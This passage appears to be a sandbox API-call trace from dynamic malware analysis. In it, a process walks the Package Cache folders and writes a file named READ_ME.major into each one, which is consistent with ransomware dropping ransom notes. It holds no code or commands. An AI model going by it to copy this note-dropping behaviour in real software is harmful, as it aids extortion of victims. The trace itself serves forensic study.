hHeap=0x570000) returned 1 [0144.488] GetLastError () returned 0x0 [0144.488] SetLastError (dwErrCode=0x0) [0144.488] GetLastError () returned 0x0 [0144.488] SetLastError (dwErrCode=0x0) [0144.488] GetLastError () returned 0x0 [0144.489] SetLastError (dwErrCode=0x0) [0144.489] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0660 [0144.489] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.490] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0660 | out: hHeap=0x570000) returned 1 [0144.490] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.491] CloseHandle (hObject=0x5bc) returned 1 [0144.491] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0d68 | out: hHeap=0x570000) returned 1 [0144.491] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0144.491] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.491] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b85a8 | out: hHeap=0x570000) returned 1 [0144.491] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc800531, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc800531, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1 [0144.491] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d04d0 | out: hHeap=0x570000) returned 1 [0144.491] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0144.491] GetLastError () returned 0x0 [0144.491] SetLastError (dwErrCode=0x0) [0144.491] GetLastError () returned 0x0 [0144.491] SetLastError (dwErrCode=0x0) [0144.491] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0144.491] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0144.491] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0278 [0144.491] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0144.491] GetLastError () returned 0x0 [0144.491] SetLastError (dwErrCode=0x0) [0144.491] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0144.491] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdd30 [0144.491] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0144.491] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdd30 | out: hHeap=0x570000) returned 1 [0144.491] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5b85a8 [0144.491] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10e0 [0144.491] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5aa6f8 [0144.491] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.491] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d370 [0144.491] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0144.491] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0144.491] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0144.492] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0144.492] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0144.492] GetLastError () returned 0x0 [0144.492] SetLastError (dwErrCode=0x0) [0144.492] GetLastError () returned 0x0 [0144.492] SetLastError (dwErrCode=0x0) [0144.492] GetLastError () returned 0x0 [0144.492] SetLastError (dwErrCode=0x0) [0144.492] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0a48 [0144.492] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0a48 | out: hHeap=0x570000) returned 1 [0144.493] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.493] CloseHandle (hObject=0x5bc) returned 1 [0144.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0144.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d370 | out: hHeap=0x570000) returned 1 [0144.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0144.493] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5aa6f8 | out: hHeap=0x570000) returned 1 [0144.493] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1d0bc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1 [0144.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0278 | out: hHeap=0x570000) returned 1 [0144.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0144.494] GetLastError () returned 0x0 [0144.494] SetLastError (dwErrCode=0x0) [0144.494] GetLastError () returned 0x0 [0144.494] SetLastError (dwErrCode=0x0) [0144.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0144.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0144.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0a48 [0144.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0144.494] GetLastError () returned 0x0 [0144.494] SetLastError (dwErrCode=0x0) [0144.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0144.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cde20 [0144.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0144.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0144.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5aa6f8 [0144.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11a8 [0144.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x5bd3b8 [0144.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d430 [0144.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d270 [0144.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0144.494] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0144.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0144.494] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0144.494] GetLastError () returned 0x0 [0144.494] SetLastError (dwErrCode=0x0) [0144.494] GetLastError () returned 0x0 [0144.494] SetLastError (dwErrCode=0x0) [0144.495] GetLastError () returned 0x0 [0144.495] SetLastError (dwErrCode=0x0) [0144.495] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.495] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0e30 | out: hHeap=0x570000) returned 1 [0144.495] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.496] CloseHandle (hObject=0x5bc) returned 1 [0144.497] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0144.497] SetLastError (dwErrCode=0x0) [0144.497] GetLastError () returned 0x0 [0144.497] SetLastError (dwErrCode=0x0) [0144.497] SetLastError (dwErrCode=0x0) [0144.497] SetLastError (dwErrCode=0x0) [0144.497] GetLastError () returned 0x0 [0144.497] SetLastError (dwErrCode=0x0) [0144.497] GetLastError () returned 0x0 [0144.497] SetLastError (dwErrCode=0x0) [0144.497] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.498] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.499] CloseHandle (hObject=0x5bc) returned 1 [0144.499] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0144.499] SetLastError (dwErrCode=0x0) [0144.499] GetLastError () returned 0x0 [0144.499] SetLastError (dwErrCode=0x0) [0144.499] SetLastError (dwErrCode=0x0) [0144.499] SetLastError (dwErrCode=0x0) [0144.499] GetLastError () returned 0x0 [0144.499] SetLastError (dwErrCode=0x0) [0144.499] GetLastError () returned 0x0 [0144.500] SetLastError (dwErrCode=0x0) [0144.500] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.500] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.501] CloseHandle (hObject=0x5bc) returned 1 [0144.501] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0144.501] SetLastError (dwErrCode=0x0) [0144.502] GetLastError () returned 0x0 [0144.502] SetLastError (dwErrCode=0x0) [0144.502] SetLastError (dwErrCode=0x0) [0144.502] SetLastError (dwErrCode=0x0) [0144.502] GetLastError () returned 0x0 [0144.502] SetLastError (dwErrCode=0x0) [0144.502] GetLastError () returned 0x0 [0144.502] SetLastError (dwErrCode=0x0) [0144.502] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.504] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.504] CloseHandle (hObject=0x5bc) returned 1 [0144.505] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0144.505] SetLastError (dwErrCode=0x0) [0144.505] GetLastError () returned 0x0 [0144.505] SetLastError (dwErrCode=0x0) [0144.505] SetLastError (dwErrCode=0x0) [0144.505] SetLastError (dwErrCode=0x0) [0144.505] GetLastError () returned 0x0 [0144.505] SetLastError (dwErrCode=0x0) [0144.505] GetLastError () returned 0x0 [0144.505] SetLastError (dwErrCode=0x0) [0144.505] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.506] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.507] CloseHandle (hObject=0x5bc) returned 1 [0144.507] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0144.507] SetLastError (dwErrCode=0x0) [0144.507] GetLastError () returned 0x0 [0144.507] SetLastError (dwErrCode=0x0) [0144.507] SetLastError (dwErrCode=0x0) [0144.507] SetLastError (dwErrCode=0x0) [0144.507] GetLastError () returned 0x0 [0144.508] SetLastError (dwErrCode=0x0) [0144.508] GetLastError () returned 0x0 [0144.508] SetLastError (dwErrCode=0x0) [0144.508] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.509] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.510] CloseHandle (hObject=0x5bc) returned 1 [0144.510] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0144.510] SetLastError (dwErrCode=0x0) [0144.510] GetLastError () returned 0x0 [0144.510] SetLastError (dwErrCode=0x0) [0144.510] SetLastError (dwErrCode=0x0) [0144.510] SetLastError (dwErrCode=0x0) [0144.510] GetLastError () returned 0x0 [0144.510] SetLastError (dwErrCode=0x0) [0144.510] GetLastError () returned 0x0 [0144.511] SetLastError (dwErrCode=0x0) [0144.511] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.511] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.512] CloseHandle (hObject=0x5bc) returned 1 [0144.512] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0144.512] SetLastError (dwErrCode=0x0) [0144.512] GetLastError () returned 0x0 [0144.512] SetLastError (dwErrCode=0x0) [0144.512] SetLastError (dwErrCode=0x0) [0144.512] SetLastError (dwErrCode=0x0) [0144.512] GetLastError () returned 0x0 [0144.512] SetLastError (dwErrCode=0x0) [0144.512] GetLastError () returned 0x0 [0144.512] SetLastError (dwErrCode=0x0) [0144.513] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.514] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.515] CloseHandle (hObject=0x5bc) returned 1 [0144.515] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0144.515] SetLastError (dwErrCode=0x0) [0144.515] GetLastError () returned 0x0 [0144.515] SetLastError (dwErrCode=0x0) [0144.515] SetLastError (dwErrCode=0x0) [0144.515] SetLastError (dwErrCode=0x0) [0144.515] GetLastError () returned 0x0 [0144.515] SetLastError (dwErrCode=0x0) [0144.515] GetLastError () returned 0x0 [0144.515] SetLastError (dwErrCode=0x0) [0144.515] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.517] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.518] CloseHandle (hObject=0x5bc) returned 1 [0144.518] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0144.518] SetLastError (dwErrCode=0x0) [0144.518] GetLastError () returned 0x0 [0144.518] SetLastError (dwErrCode=0x0) [0144.518] SetLastError (dwErrCode=0x0) [0144.518] SetLastError (dwErrCode=0x0) [0144.518] GetLastError () returned 0x0 [0144.518] SetLastError (dwErrCode=0x0) [0144.518] GetLastError () returned 0x0 [0144.518] SetLastError (dwErrCode=0x0) [0144.518] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\READ_ME.major" (normalized: "c:\\users\\all users\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5bc [0144.520] WriteFile (in: hFile=0x5bc, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0144.521] CloseHandle (hObject=0x5bc) returned 1 [0144.521] FindNextFileW (in: hFindFile=0x60ef68, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0144.521] SetLastError (dwErrCode=0x0) [0144.521] GetLastError () returned 0x0 [0144.521] SetLastError (dwErrCode=0x0) [0144.521] SetLastError (dwErrCode=0x0) [0144.521] SetLastError (dwErrCode=0x0) [0144.521] GetLastError () returned 0x0 [0144.521] SetLastError (dwErrCode=0x0) [0144.521] GetLastError () returned 0x0 